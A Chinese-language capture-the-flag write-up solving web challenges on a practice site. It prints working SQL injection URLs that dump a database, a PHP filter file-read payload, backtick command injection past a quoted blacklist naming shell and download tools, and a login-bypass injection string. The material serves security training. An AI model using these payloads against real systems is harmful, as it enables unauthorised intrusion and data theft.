hackme.inndy.tw的19道web题解(上)

时间:2022-04-28
本文章向大家介绍hackme.inndy.tw的19道web题解(上),主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

目录

  • 写在前面...
  • hide and seek.
  • guestbook.
  • LFI
  • .homepage.
  • ping.
  • scoreboard.
  • login as admin 0
  • 待续...

写在前面

最近发现了一个比较有趣的ctf-oj,给出链接

https://hackme.inndy.tw/

里面有不少web题,我这里因为依照出题人的要求:

本次文章不会直接给出flag,但是会有详细的分析和攻击脚本

0x01 hide and seek

查看源代码即可

0x02 guestbook

简单注入

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1

可以得到数据库名guestbook

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1

得到表名flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1

得到字段名flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1

即可拿到flag

0x03 LFI

随便点击出现:

https://hackme.inndy.tw/lfi/?page=pages/index

根据题目名可以知道是读文件

所以读:

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag

得到

php

Can you read the flag<?php require('config.php'); ?>?

再读

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config

即可

0x04 homepage

注意源代码151行

<script src="cute.js"></script>

跟进

https://hackme.inndy.tw/cute.js

发现是aaencode

解密得到二维码,扫描即可

0x05 ping

发现黑名单

php

$blacklist = [
            'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
            'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
            'passwd', 'shadow', 'root',
            'z',
            'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
            'xargs', 'PATH',
            '$0', 'proc',
            '/', '&', '|', '>', '<', ';', '"', ''', '\', "n"
        ];

发现没有过滤反引号

尝试反引号ls反引号

可以得到

ping: unknown host flag.php

index.php

发现sort没有过滤,并且利用?通配

反引号sort ????????反引号

即可

0x06 scoreboard

抓包发现http头里的x-flag有flag

0x07 login as admin 0

注意到过滤

php

function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
        strstr($strl, 'update') || strstr($strl, 'delete')
    ) {
        return '';
    }
    return str_replace("'", "\'", $str);
}

最后将单引号变成\'

所以容易构造payload:

username = admin' || 1=1#

password = 1

进入的是guest,所以admin应该是第二行

所以payload:

username = admin' || 1=1 limit 1,1#

password = 1

得到flag